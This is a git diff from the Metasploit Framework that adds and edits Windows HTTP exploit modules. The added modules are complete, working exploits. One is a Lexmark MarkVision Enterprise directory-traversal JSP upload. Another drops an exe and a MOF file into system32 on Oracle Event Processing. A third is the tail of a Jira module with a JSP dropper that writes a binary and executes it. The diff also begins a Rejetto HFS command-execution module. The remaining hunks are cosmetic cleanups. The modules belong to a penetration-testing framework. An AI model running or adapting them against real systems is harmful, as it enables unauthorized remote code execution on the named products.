+ 'data' => rand_text_alpha(10 + rand(10)), + 'vars_get' => + { + 'filename' => rand_text_alpha(10 + rand(10)) + } + }) + + if res and res.code == 500 and res.body =~ /"token":"(.*)"}/ + csrf_token = $1 + @cookie = res.get_cookies + else + csrf_token = "" + end + + return csrf_token + end + + def upload_file(filename, contents, csrf_token) + traversal = "..\\" * datastore['TRAVERSAL_DEPTH'] + traversal << datastore['JIRA_PATH'] + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']), + 'method' => 'POST', + 'data' => contents, + 'cookie' => @cookie, + 'ctype' => 'text/plain', + 'vars_get' => + { + 'filename' => "#{traversal}\\#{filename}", + 'atl_token' => csrf_token + } + }) + + if res and res.code == 201 and res.body =~ /\{"name":".*#{filename}"/ + register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{filename}") + register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{@exe_filename}") + return true + else + print_error("#{peer} - Upload failed...") + return false + end + end + + def upload_and_run_jsp(filename, contents) + print_status("#{peer} - Getting a valid CSRF token...") + csrf_token = get_upload_token + fail_with(Failure::Unknown, "#{peer} - Unable to find the CSRF token") if csrf_token.empty? + + print_status("#{peer} - Exploiting traversal to upload JSP dropper...") + upload_file(filename, contents, csrf_token) + + print_status("#{peer} - Executing the dropper...") + send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, filename), + 'method' => 'GET' + }) + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'login.jsp'), + }) + + if res and res.code == 200 and res.body =~ // + version = $1 + else + return Exploit::CheckCode::Unknown + end + + if version <= "6.0.3" + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + print_status("#{peer} - Generating EXE...") + exe = payload.encoded_exe + @exe_filename = Rex::Text.rand_text_alpha(8) + ".exe" + + print_status("#{peer} - Generating JSP dropper...") + dropper = jsp_drop_and_execute(exe, @exe_filename) + dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp" + + print_status("#{peer} - Uploading and running JSP dropper...") + upload_and_run_jsp(dropper_filename, dropper) + end + + # This should probably go in a mixin (by egypt) + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_execute_command(command) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|try {\n| + jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| + jspraw << %Q|} catch (IOException ioe) { }\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_drop_and_execute(bin_data, output_file) + jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) + end + +end diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb index a2555db7cc..12a48ce262 100644 --- a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb +++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/kolibri_http.rb b/modules/exploits/windows/http/kolibri_http.rb index aeb76201d1..afd75aa97d 100644 --- a/modules/exploits/windows/http/kolibri_http.rb +++ b/modules/exploits/windows/http/kolibri_http.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,8 +15,10 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow', - 'Description' => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.}, + 'Name' => 'Kolibri HTTP Server HEAD Buffer Overflow', + 'Description' => %q{ + This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server. + }, 'Author' => [ 'mr_me ', # msf diff --git a/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb b/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb index b1fd3b5d42..abe6834898 100644 --- a/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb +++ b/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb new file mode 100644 index 0000000000..44441df158 --- /dev/null +++ b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Lexmark MarkVision Enterprise Arbitrary File Upload', + 'Description' => %q{ + This module exploits a code execution flaw in Lexmark MarkVision Enterprise before version 2.1. + A directory traversal vulnerability in the GfdFileUploadServlet servlet allows an unauthenticated + attacker to upload arbitrary files, including arbitrary JSP code. This module has been + tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2. + }, + 'Author' => + [ + 'Andrea Micalizzi', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-8741'], + ['ZDI', '14-410'], + ['URL', 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US'] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Lexmark Markvision Enterprise 2.0', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 09 2014')) + + register_options( + [ + Opt::RPORT(9788), + OptString.new('TARGETURI', [true, 'ROOT path', '/']) + ], self.class) + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s, 'mve', 'help', 'en', 'inventory', 'am_about.html') + }) + + version = nil + if res && res.code == 200 && res.body && res.body.to_s =~ /MarkVision Enterprise ([\d\.]+)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + if Gem::Version.new(version) <= Gem::Version.new('2.0.0') + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + jsp_leak = jsp_path + jsp_name_leak = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp" + # By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled + # Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT + traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf" + + print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...") + if upload_file(traversal_leak, jsp_leak) + print_good("#{peer} - JSP successfully uploaded") + else + fail_with(Failure::Unknown, "#{peer} - JSP upload failed") + end + + res = execute(jsp_name_leak) + + if res && res.code == 200 && res.body.to_s !~ /null/ && res.body.to_s =~ /Path:(.*)/ + upload_path = $1 + print_good("#{peer} - Working directory found in #{upload_path}") + register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_name_leak)) + else + print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required") + end + + jsp_payload_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" + jsp_payload = payload.encoded + traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf" + + print_status("#{peer} - Uploading JSP payload #{jsp_payload_name}...") + if upload_file(traversal_payload, jsp_payload) + print_good("#{peer} - JSP successfully uploaded") + register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name)) if upload_path + else + fail_with(Failure::Unknown, "#{peer} - JSP upload failed") + end + + print_status("#{peer} - Executing payload...") + execute(jsp_payload_name, 3) + end + + def upload_file(filename, contents) + good_signature = rand_text_alpha(4 + rand(4)) + bad_signature = rand_text_alpha(4 + rand(4)) + + post_data = Rex::MIME::Message.new + post_data.add_part(good_signature, nil, nil, 'form-data; name="success"') + post_data.add_part(bad_signature, nil, nil, 'form-data; name="failure"') + post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"") + + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, 'mve', 'upload', 'gfd'), + 'method' => 'POST', + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if res && res.code == 200 && res.body && res.body.to_s.include?(good_signature) + return true + else + return false + end + end + + def execute(jsp_name, time_out = 20) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s, jsp_name), + 'method' => 'GET' + }, time_out) + + res + end + + def jsp_path + jsp =<<-EOS +<%@ page language="Java" import="java.util.*"%> +<% +out.println("Path:" + System.getProperty("catalina.home")); +%> + EOS + + jsp + end + +end diff --git a/modules/exploits/windows/http/mailenable_auth_header.rb b/modules/exploits/windows/http/mailenable_auth_header.rb index 083a250014..83fd3da795 100644 --- a/modules/exploits/windows/http/mailenable_auth_header.rb +++ b/modules/exploits/windows/http/mailenable_auth_header.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/manageengine_apps_mngr.rb b/modules/exploits/windows/http/manageengine_apps_mngr.rb index d8ea39f981..e017dd250a 100644 --- a/modules/exploits/windows/http/manageengine_apps_mngr.rb +++ b/modules/exploits/windows/http/manageengine_apps_mngr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/maxdb_webdbm_database.rb b/modules/exploits/windows/http/maxdb_webdbm_database.rb index d4704ae164..1764bf01ea 100644 --- a/modules/exploits/windows/http/maxdb_webdbm_database.rb +++ b/modules/exploits/windows/http/maxdb_webdbm_database.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb b/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb index 6c516838fa..4488698868 100644 --- a/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb +++ b/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/mcafee_epolicy_source.rb b/modules/exploits/windows/http/mcafee_epolicy_source.rb index 29f338de3f..cc7a9151ab 100644 --- a/modules/exploits/windows/http/mcafee_epolicy_source.rb +++ b/modules/exploits/windows/http/mcafee_epolicy_source.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'muts ', + 'muts ', 'xbxice[at]yahoo.com', 'hdm', 'patrick' # MSF3 rewrite, ePO v2.5.1 target @@ -66,12 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote connect req = "GET /SITEINFO.INI HTTP/1.0\r\n" - req << "User-Agent: Mozilla/5.0\r\n" - sock.put(req + "\r\n\r\n") + req << "User-Agent: Mozilla/5.0\r\n\r\n" + sock.put(req) - banner = sock.get(-1,3) + banner = sock.get_once - if (banner =~ /Spipe\/1\.0/) + if banner.to_s =~ /Spipe\/1\.0/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb index 582bf2475f..3f17071de0 100644 --- a/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb +++ b/modules/exploits/windows/http/mdaemon_worldclient_form2raw.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Buffer Overflow', + 'Name' => 'MDaemon WorldClient form2raw.cgi Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Alt-N MDaemon SMTP server for versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default), @@ -68,10 +68,10 @@ class Metasploit3 < Msf::Exploit::Remote def check connect sock.put("GET / HTTP/1.0\r\n\r\n") - banner = sock.get(-1,3) + banner = sock.get_once disconnect - if (banner =~ /WDaemon\/6\.8\.[0-5]/) + if (banner.to_s =~ /WDaemon\/6\.8\.[0-5]/) return Exploit::CheckCode::Appears end @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote sploit << payload.encoded + " HTTP/1.0" sock.put(sploit + "\r\n\r\n") - res = sock.get(3,3) + res = sock.get_once(-1, 3) if (res =~ /Message spooled but will be deleted if not FROM a valid account/) print_status("Payload accepted by WorldClient Form2Raw CGI!") diff --git a/modules/exploits/windows/http/minishare_get_overflow.rb b/modules/exploits/windows/http/minishare_get_overflow.rb index 00be1719f9..febc4d7972 100644 --- a/modules/exploits/windows/http/minishare_get_overflow.rb +++ b/modules/exploits/windows/http/minishare_get_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index c1f0650c45..3f5924d00e 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/navicopa_get_overflow.rb b/modules/exploits/windows/http/navicopa_get_overflow.rb index f0c62c0ef6..d9c46a3d2a 100644 --- a/modules/exploits/windows/http/navicopa_get_overflow.rb +++ b/modules/exploits/windows/http/navicopa_get_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/netdecision_http_bof.rb b/modules/exploits/windows/http/netdecision_http_bof.rb index 0bd10a55d8..b897f791b1 100644 --- a/modules/exploits/windows/http/netdecision_http_bof.rb +++ b/modules/exploits/windows/http/netdecision_http_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/novell_imanager_upload.rb b/modules/exploits/windows/http/novell_imanager_upload.rb index 68935e08ce..466ddbbae6 100644 --- a/modules/exploits/windows/http/novell_imanager_upload.rb +++ b/modules/exploits/windows/http/novell_imanager_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -44,6 +44,10 @@ class Metasploit3 < Msf::Exploit::Remote } ], ], + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 01 2010' )) diff --git a/modules/exploits/windows/http/novell_mdm_lfi.rb b/modules/exploits/windows/http/novell_mdm_lfi.rb index 545ff7152a..af793df59f 100644 --- a/modules/exploits/windows/http/novell_mdm_lfi.rb +++ b/modules/exploits/windows/http/novell_mdm_lfi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/novell_messenger_acceptlang.rb b/modules/exploits/windows/http/novell_messenger_acceptlang.rb index 67c1dbafd7..d52305bdb8 100644 --- a/modules/exploits/windows/http/novell_messenger_acceptlang.rb +++ b/modules/exploits/windows/http/novell_messenger_acceptlang.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/nowsms.rb b/modules/exploits/windows/http/nowsms.rb index b2b56e1ac9..05f4c9ecb3 100644 --- a/modules/exploits/windows/http/nowsms.rb +++ b/modules/exploits/windows/http/nowsms.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/oracle9i_xdb_pass.rb b/modules/exploits/windows/http/oracle9i_xdb_pass.rb index cecf607a69..06b563e0cf 100644 --- a/modules/exploits/windows/http/oracle9i_xdb_pass.rb +++ b/modules/exploits/windows/http/oracle9i_xdb_pass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/oracle_btm_writetofile.rb b/modules/exploits/windows/http/oracle_btm_writetofile.rb index d377a1d4f1..c9abd7bfad 100644 --- a/modules/exploits/windows/http/oracle_btm_writetofile.rb +++ b/modules/exploits/windows/http/oracle_btm_writetofile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/oracle_endeca_exec.rb b/modules/exploits/windows/http/oracle_endeca_exec.rb index 90e3dceda1..874127b370 100644 --- a/modules/exploits/windows/http/oracle_endeca_exec.rb +++ b/modules/exploits/windows/http/oracle_endeca_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -126,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - command = cmd_psh_payload(payload.encoded) + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) if command.length > 8000 # Windows 2008 Command Prompt Max Length is 8191 fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command") diff --git a/modules/exploits/windows/http/oracle_event_processing_upload.rb b/modules/exploits/windows/http/oracle_event_processing_upload.rb new file mode 100644 index 0000000000..3a580df1fb --- /dev/null +++ b/modules/exploits/windows/http/oracle_event_processing_upload.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability in Oracle Event Processing + 11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be + abused to upload a malicious file onto an arbitrary location due to a directory traversal + flaw, and compromise the server. By default Oracle Event Processing uses a Jetty + Application Server without JSP support, which limits the attack to WbemExec. The current + WbemExec technique only requires arbitrary write to the file system, but at the moment the + module only supports Windows 2003 SP2 or older. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod ', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-2424'], + ['ZDI', '14-106'], + ['BID', '66871'], + ['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html'] + ], + 'DefaultOptions' => + { + 'WfsDelay' => 5 + }, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 2048 + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + ['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 21 2014')) + + register_options( + [ + Opt::RPORT(9002), + # By default, uploads are stored in: + # C:\Oracle\Middleware\user_projects\domains\\defaultserver\upload\ + OptInt.new('DEPTH', [true, 'Traversal depth', 7]) + ], self.class) + end + + def upload(file_name, contents) + post_data = Rex::MIME::Message.new + post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"") + post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"") + data = post_data.to_s + + res = send_request_cgi({ + 'uri' => '/wlevs/visualizer/upload', + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => data + }) + + res + end + + def traversal + "../" * datastore['DEPTH'] + end + + def exploit + print_status("#{peer} - Generating payload and mof file...") + mof_name = "#{rand_text_alpha(rand(5)+5)}.mof" + exe_name = "#{rand_text_alpha(rand(5)+5)}.exe" + exe_content = generate_payload_exe + mof_content = generate_mof(mof_name, exe_name) + + print_status("#{peer} - Uploading the exe payload #{exe_name}...") + exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}" + res = upload(exe_traversal, exe_content) + + unless res && res.code == 200 && res.body.blank? + print_error("#{peer} - Unexpected answer, trying anyway...") + end + register_file_for_cleanup(exe_name) + + print_status("#{peer} - Uploading the MOF file #{mof_name}") + mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}" + upload(mof_traversal, mof_content) + register_file_for_cleanup("wbem/mof/good/#{mof_name}") + end + + def check + res = send_request_cgi({ + 'uri' => '/ohw/help/state', + 'method' => 'GET', + 'vars_get' => { + 'navSetId' => 'cepvi', + 'navId' => '0', + 'destination' => '' + } + }) + + if res && res.code == 200 + if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)") + return Exploit::CheckCode::Detected + elsif res.body.to_s.include?("Oracle Event Processing 12") + return Exploit::CheckCode::Safe + end + end + + Exploit::CheckCode::Unknown + end + +end diff --git a/modules/exploits/windows/http/osb_uname_jlist.rb b/modules/exploits/windows/http/osb_uname_jlist.rb index 1590d1ba62..b61a0f9720 100644 --- a/modules/exploits/windows/http/osb_uname_jlist.rb +++ b/modules/exploits/windows/http/osb_uname_jlist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], + 'CmdStagerFlavor' => 'tftp', 'Privileged' => true, 'Platform' => 'win', 'DisclosureDate' => 'Jul 13 2010', @@ -53,11 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") @@ -74,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST', }, 5) - if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i)) - sessionid = res.headers['Set-Cookie'].split(';')[0] + if res.get_cookies.match(/PHPSESSID=(.*);(.*)/i) + sessionid = res.get_cookies data = '?type=Job&jlist=0%26' + Rex::Text::uri_encode(cmd) diff --git a/modules/exploits/windows/http/peercast_url.rb b/modules/exploits/windows/http/peercast_url.rb index 9757202732..2b47242a1a 100644 --- a/modules/exploits/windows/http/peercast_url.rb +++ b/modules/exploits/windows/http/peercast_url.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (win32)', + 'Name' => 'PeerCast URL Handling Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in PeerCast <= v0.1216. The vulnerability is caused due to a boundary error within the diff --git a/modules/exploits/windows/http/php_apache_request_headers_bof.rb b/modules/exploits/windows/http/php_apache_request_headers_bof.rb index a78490647e..4b7e9feccf 100644 --- a/modules/exploits/windows/http/php_apache_request_headers_bof.rb +++ b/modules/exploits/windows/http/php_apache_request_headers_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/privatewire_gateway.rb b/modules/exploits/windows/http/privatewire_gateway.rb index ac96e36b2e..3671981570 100644 --- a/modules/exploits/windows/http/privatewire_gateway.rb +++ b/modules/exploits/windows/http/privatewire_gateway.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/psoproxy91_overflow.rb b/modules/exploits/windows/http/psoproxy91_overflow.rb index 6d8be475ca..9c50701f47 100644 --- a/modules/exploits/windows/http/psoproxy91_overflow.rb +++ b/modules/exploits/windows/http/psoproxy91_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote def check connect sock.put("GET / HTTP/1.0\r\n\r\n") - banner = sock.get(-1,3) - if (banner =~ /PSO Proxy 0\.9/) + banner = sock.get_once + if (banner.to_s =~ /PSO Proxy 0\.9/) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/http/rabidhamster_r4_log.rb b/modules/exploits/windows/http/rabidhamster_r4_log.rb index 8d8289b73a..e2588be454 100644 --- a/modules/exploits/windows/http/rabidhamster_r4_log.rb +++ b/modules/exploits/windows/http/rabidhamster_r4_log.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/http/rejetto_hfs_exec.rb b/modules/exploits/windows/http/rejetto_hfs_exec.rb new file mode 100644 index 0000000000..47b5642b25 --- /dev/null +++ b/modules/exploits/windows/http/rejetto_hfs_exec.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Rejetto HttpFileServer Remote Command Execution", + 'Description' => %q{ + Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a + poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by + using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b + over Windows XP SP3, Windows 7 SP1 and Windows 8. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Daniele Linguaglossa ', # orginal discovery + 